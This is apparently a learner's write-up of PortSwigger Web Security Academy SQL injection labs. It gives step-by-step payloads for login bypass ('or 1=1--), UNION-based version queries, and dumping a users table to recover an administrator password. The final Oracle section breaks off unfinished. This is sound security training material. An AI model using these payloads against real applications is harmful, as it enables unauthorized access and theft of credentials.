

Basic SQL Injection

01. SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

Lab: <https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data>

Problem: This lab contains a SQL injection vulnerability in the product category filter. When the user selects a category, the application carries out a SQL query like the following: `SELECT * FROM products WHERE category = 'Gifts' AND released = 1` To solve the lab, perform a SQL injection attack that causes the application to **display one or more unreleased products**.

All the process I've done to perform SQLi are try to click on something clickable, then I tried to add "or" conditions such as `' or 1=1--`. Since I performed on URL, I add the `+` as a space, so the whole query is `'+or+1=1--`. The steps can be reached below (sequence).

1. <https://0a4a00eb04427bf1812b0797007200d8.web-security-academy.net/>
2. <https://0a4a00eb04427bf1812b0797007200d8.web-security-academy.net/filter?category=Lifestyle>
3. <https://0a4a00eb04427bf1812b0797007200d8.web-security-academy.net/filter?category=%27+or+1=1-->

02. SQL injection vulnerability allowing login bypass

Lab: <https://portswigger.net/web-security/sql-injection/lab-login-bypass>

Problem: This lab contains a SQL injection vulnerability in the login function. To solve the lab, perform a SQL injection attack that **logs in to the application as the administrator user**.

Same as before, since this lab objective is to gain the access of administrator, then I used a basic SQLi payload such as `'or 1=1--, administrator' or 1=1--, administrator'--`. All of these payloads work perfectly, it is because there is no sanitization and filter for the query on the form and the database. Also for the password I was type `a`, because the form forced user to fill all the field with value.

The steps can be reached below (sequence).

1. <https://0a0f006503b947e981064870003400ff.web-security-academy.net/>
2. <https://0a0f006503b947e981064870003400ff.web-security-academy.net/login>
3. `'or 1=1--` on **Username** input form and `a` on **Password** input form.

03. SQL injection attack, querying the database type and version on Oracle

Lab: <https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-oracle>

Problem: This lab contains a SQL injection vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query. To solve the lab, display the database version string.

Objectives:

1. CORE 11.2.0.2.0 Production
2. NLSRTL Version 11.2.0.2.0 - Production
3. Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production
4. PL/SQL Release 11.2.0.2.0 - Production
5. TNS for Linux: Version 11.2.0.2.0 - Production

Since they've mentioned the database is using Oracle, then there are a few conditions to attack, such as when we use SELECT, we have to use FROM (mentioned the existing table name). However, since we don't know the table name, we can use **dual**, because it is a built-in table on Oracle. First step is just looking for the one we can inject, then try to know the numbers of columns using ' `union select a,'a' from dual--`, then to show the informations of DB, use ' `union select banner,null, from v$version--`.

The steps can be reached below (sequence).

1. <https://0a9000fa039e58e8806b21f7004700a0.web-security-academy.net/>
2. <https://0a9000fa039e58e8806b21f7004700a0.web-security-academy.net/filter?category=Pets>
3. <https://0a9000fa039e58e8806b21f7004700a0.web-security-academy.net/filter?category=%27+union+select+%27abc%27,%20%27def%27+from+dual-->
4. [https://0a9000fa039e58e8806b21f7004700a0.web-security-academy.net/filter?category=%27+union+select+banner,NULL+from+v\\$version--](https://0a9000fa039e58e8806b21f7004700a0.web-security-academy.net/filter?category=%27+union+select+banner,NULL+from+v$version--)

04. SQL injection attack, querying the database type and version on MySQL and Microsoft

Lab: <https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-mysql-microsoft>

Problem: This lab contains a SQL injection vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query. To solve the lab, **display the database version string**.

Since this DB using mySQL and Microsoft, to show the version string we can use `@@version`. To perform this attack, we have to know the column by using `ORDER BY`, and to show the version of DB, use `@@version`.

The steps used to perform can be reached below (sequence).

1. Original: <https://0a9400fe0308d7238088306000f50053.web-security-academy.net/>
2. Explore: <https://0a9400fe0308d7238088306000f50053.web-security-academy.net/filter?category=Pets>
3. Try to find column using ' **order by 1#** <https://0a9400fe0308d7238088306000f50053.web-security-academy.net/filter?category=%27+order+by+1%23>
4. Try to find column using ' **order by 2#** <https://0a9400fe0308d7238088306000f50053.web-security-academy.net/filter?category=%27+order+by+2%23>
5. Try to find column using ' **order by 3#** <https://0a9400fe0308d7238088306000f50053.web-security-academy.net/filter?category=%27+order+by+3%23>. Since the result is internal server error, the column shall be only 2.
6. After we know the answer is 2 column and it was injectable, we can perform **UNION** attack, by using basic union select ' **union select @@version,null#**. <https://0a9400fe0308d7238088306000f50053.web-security-academy.net/filter?category=%27+union+select+%40%40version,null%23>

05. SQL injection attack, listing the database contents on non-Oracle databases

Lab: <https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-non-oracle>

Problem: This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables.

The application has a login function, and the database contains a table that holds usernames and passwords. You need to **determine the name of this table and the columns it contains**, then **retrieve the contents of the table** to obtain the username and password of all users. To solve the lab, **log in as the administrator user**.

The steps used to perform can be reached below (sequence).

1. <https://0a5b001404436501801112dd001a0027.web-security-academy.net/>
2. <https://0a5b001404436501801112dd001a0027.web-security-academy.net/filter?category=Lifestyle>
3. <https://0a5b001404436501801112dd001a0027.web-security-academy.net/filter?category=%27+order+by+1-->
4. <https://0a5b001404436501801112dd001a0027.web-security-academy.net/filter?category=%27+order+by+2-->
5. <https://0a5b001404436501801112dd001a0027.web-security-academy.net/filter?category=%27+order+by+3-->. Since this returned the internal server error, it means that the column are only 2.
6. Since we know this is injectable, we can perform the **UNION** attack use ' **union select table_name,null from information_schema.tables--** to show all the tables on the schema

https://0a5b001404436501801112dd001a0027.web-security-academy.net/filter?category=%27+union+select+table_name,null+from+information_schema.tables--.

7. The page consist of tables on the schema, try to find the "user" on table name, because we intend to find the user table and grab all the username and password to get logged in. Here's the list of table name that has "user" on it: 1. user_defined_types 2. pg_statio_user_sequences 3. pg_user_mappings 4. pg_stat_xact_user_functions 5. user_mappings 6. user_mapping_options 7. users_ybnddd 8. pg_stat_xact_user_tables 9. pg_statio_user_tables 10. pg_stat_user_indexes 11. pg_statio_user_indexes **12. pg_user** 13. pg_stat_user_functions from the list of tables above, I'm curious on **pg_user**.
8. Since we suspect the table, we can explore what inside and tryng to find the username and password using `' union select column_name,null from information_schema.columns where table_name='pg_user'--` to show all the columns on this table https://0a5b001404436501801112dd001a0027.web-security-academy.net/filter?category=%27%20union%20select%20column_name,null%20from%20information_schema.columns%20where%20table_name=%27pg_user%27--.
9. All the columns of the tables has been showed on the page and there are suspicious column name called **passwd** and **username**. Now we can try to grab the informations for username and password that might inside of the table, using `' union select username,passwd from pg_user--`. The result is useless, because there is no "Administrator" and also the passwords encrypted and just showed *********.
10. Then I tried to do the same thing on 7. **users_ybnddd**. https://0a5b001404436501801112dd001a0027.web-security-academy.net/filter?category=%27%20union%20select%20column_name,null%20from%20information_schema.columns%20where%20table_name=%27users_ybnddd%27--, this page showed **username_gmijgu, password_waqbwh, email**.
11. With these informations, I tried the same thing `' union select username_gmijgu,password_waqbwh from users_ybnddd--`. https://0a5b001404436501801112dd001a0027.web-security-academy.net/filter?category=%27%20union%20select%20username_gmijgu,password_waqbwh%20from%20users_ybnddd--, then the informations appeared 1. carlos, bfyn49qch1ofbyljrdrk 2. wiener, u79yqwiw2eqj7425w1e7 3. **administrator, sm9on4yepjdb21z5gcix** Since we've got the administrator account and the password, then just log in into that account on login page. <https://0a5b001404436501801112dd001a0027.web-security-academy.net/my-account?id=administrator>

o6. SQL injection attack, listing the database contents on Oracle

Lab: <https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-oracle>

Problem: This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables.

The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users. To solve the lab, **log in as the administrator user**.

The problem most likely similar as previous

1. <https://oad8000e03156d1880e108b500cb0018.web-security-academy.net/>.
2. <https://oad8000e03156d1880e108b500cb0018.web-security-academy.net/filter?category=Gifts>.
3. <https://oad8000e03156d1880e108b500cb0018.web-security-academy.net/filter?category=%27order%20by%201-->.
4. <https://oad8000e03156d1880e108b500cb0018.web-security-academy.net/filter?category=%27order%20by%202-->.
5. <https://oad8000e03156d1880e108b500cb0018.web-security-academy.net/filter?category=%27order%20by%203-->.
6. Since we know that there are 2 columns available, and SQL is injectable, we can use **UNION** attacks. `'union select table_name,null from all_tables--` to show all tables on this schema. https://oad8000e03156d1880e108b500cb0018.web-security-academy.net/filter?category=%27union%20select%20table_name,null%20from%20all_tables--. The page showed all list of tables and we have to find **users** table, here's the list of *users tables.
 1. APP_USERS_AND_ROLES
 2. **USERS_PFGMEP**
 There is suspicious name of table **USERS_PFGMEP**, therefore we can inspect it using previous steps by looking columns then if there are such username and password, we can dig down.
7. We can't continue any further, because `'union select column_name,null from all_tab_columns where table_name='users_pfgmep'--` showed nothing. https://oad8000e03156d1880e108b500cb0018.web-security-academy.net/filter?category=%27union%20select%20column_name,null%20from%20all_tab_columns%20where%20table_name=%27users_pfgmep%27--.
- 8.